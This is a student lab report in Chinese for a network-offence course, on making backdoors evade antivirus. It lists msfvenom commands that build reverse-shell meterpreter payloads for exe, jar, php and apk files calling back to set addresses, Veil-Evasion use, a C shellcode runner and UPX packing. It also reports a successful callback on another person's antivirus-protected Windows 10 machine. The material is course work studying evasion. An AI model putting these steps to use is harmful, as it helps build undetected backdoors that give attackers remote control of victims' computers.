2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践


  • 一、实验说明

  • 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

  • 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5))

  • 实验准备

  • 上次实验中,我们生成了一个超可爱的后门程序,但是它有一个很明显的使用限制就是需要关闭防火墙和杀软。现如今几乎每台电脑都有安装防火墙,win10系统更是自带了防火墙,所以病毒程序毫无用武之地。

  • 这次实验,就是为了让我们的病毒程序躲避防火墙和杀软的追杀,来实现更好的入侵他人电脑(不)。

  • 我们将之前的后门文件放在VirSCAN.org中进行扫描看看:

  • image

  • 很明显被认为是病毒了

  • 我们使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行25次编码看看:
  • image

  • image

  • 发现没有什么用,可想而知,msfvenom被大多数人熟知,它的编码器也被很多杀软记录在库中。

  • 这里我们需要学会使用msfvenom生成如jar之类的其他文件:
  • 生成jar文件msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor_java.jar

  • 生成php文件msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.183.130 lport=5330 x> 20165330_backdoor.php

  • 生成apk文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.183.130 LPORT=5330 R > 20165330_backdoor.apk

  • image

  • 好了,既然msfvenom不行,我们就换一个

  • 进入veil,启动use evasion,设置好回连的IP地址和端口号后,使用generate生成后门文件:
  • image

  • 放到virscan.org上扫描一下:

  • image

  • image

  • 还是会被杀软检测出来。

  • 我们利用生成的shellcode编写后门程序,半手工打造恶意软件:
  • 我们使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f c生成c语言程序的后门,使用vim生成5225.c程序,并加入刚刚的buf和老师在课上给的主函数

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • image

  • 扫描后发现一片和谐,运行的时候杀软都没有提示,但是放在virscan.org还是能查出来,并且有些之前感觉很菜的杀软都可以查出来...:

  • image

  • image

  • 再进行加壳尝试吧。使用UPX 5225.exe -0 5225nb.exe对生成的后门程序加壳:
  • image

  • 尝试在别人的电脑上回连也成功了,电脑的版本:Windows 10,杀软名称版本:腾讯电脑管家。(不能放图鸭)

  • 实验中遇到的问题及思考
  • 问题:安装veil到头裂都安不好

  • 解决方法:拷别人的虚拟机

  • 实验总结及体会
  • 好讨厌安东西...从周3安到周6还是没有成功。实验本身还是挺有意义的,但是总感觉实战还是会遇到很多问题...黑别人看来也不是那么容易成功的鸭

  • 二、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

  • 通过特征码,这是比较基础的了,容易被欺骗,还有通过行为判断。

  • 问:免杀是做什么?

  • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。

  • 问:免杀的基本方法有哪些?

  • 改变特征码:只有exe——加壳

  • 有shellcode——利用shellcode生成可执行文件,有源代码——用其他语言重写再编译(php,java等),尽量使用反弹式连接、使用隧道技术、加密通讯数据等。基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

posted @ 2019-03-31 22:09  牛奶仔丶  Views(145)  Comments(0Edit  收藏  举报